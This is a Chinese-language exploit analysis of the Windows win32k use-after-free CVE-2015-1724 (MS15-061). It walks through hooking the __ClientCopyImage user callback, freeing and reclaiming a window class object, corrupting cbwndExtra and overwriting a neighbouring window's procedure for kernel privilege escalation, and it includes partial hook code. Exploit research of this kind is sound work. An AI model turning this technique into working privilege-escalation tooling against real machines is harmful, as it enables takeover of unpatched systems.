目录
CVE-2015-1724(MS15-061)
漏洞成因
在NtUserSetClassLong
中存在一条调用xxxCreateClassSmIcon
的代码路径,在xxxCreateClassSmIcon
中执行了用户回调,但并未对tagCLS
结构加锁,导致在用户层有将其释放的可能性,在用户回调结束后没有对tagCLS
重新校验而直接调用HMAssignmentLock
可能导致任意地址递减。
利用思路
- 在用户层挂钩
xxxClientCopyImage
中的要执行的用户回调USER32!__ClientCopyImage
- 在我们的挂钩函数中释放掉窗口A和窗口类
- 通过设置其他窗口的
strName
来重用这块堆内存A - 通过精心布置
strName
的数据,使得HMAssignmentLock
将窗口B的cbwndExtra
字段减一,从而变成0xffffffff
,从而通过SetWindowLongPtr
来修改相邻窗口的lpfnWndProc
,从而在内核权限下执行代码完成提权
利用细节
挂钩xxxClientCopyImage
DWORD prot;
__ClientCopyImageAddress = Get__ClientCopyImageAddressInPEB();
cout << "address of __ClientCopyImage is: 0x" << hex << __ClientCopyImageAddress << endl;
if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))
{
return false;
}
g_originalCCI = (pUser32_ClientCopyImage)InterlockedExchangePointer(
(volatile PVOID*)__ClientCopyImageAddress,
&hookCCI
);
在挂钩函数中释放掉窗口A和窗口类
NTSTATUS NTAPI hookCCI(PVOID p)
{
...
DestroyWindow(hwnd);
UnregisterClassW(L"MS15-061", NULL);
...
return g_originalCCI(p);
通过在windbg
中下条件断点可以观察到窗口类的堆内存被释放
ba e1 nt!RtlFreeHeap ".printf"RtlFreeHeap(%p, 0x%x, %p)", poi(@esp+4), poi(@esp+8), poi(@esp+c); .echo ; gc"
然后通过NtUserDefSetText
重用这块内存,并在调用前提前布置Text
的内容,将其伪造为tagCLS
结构,填充的数据可以在桌面堆用户层的映射地址读取,由于HMAssignmentLock
是将tagCLS->spicnSm
字段指向的对象+4
的位置减一,因此将这个字段的值布置为相邻窗口B的cbwndExtra - 4
的地址,
通过SetWindowLongPtr
将相邻窗口C的lpfnWndProc
替换为我们的窗口过程,从而实现再内核权限执行我们的代码
效果演示
参考
https://github.com/LibreCrops/translation-zh_CN/blob/master/source/ms-15-061.rst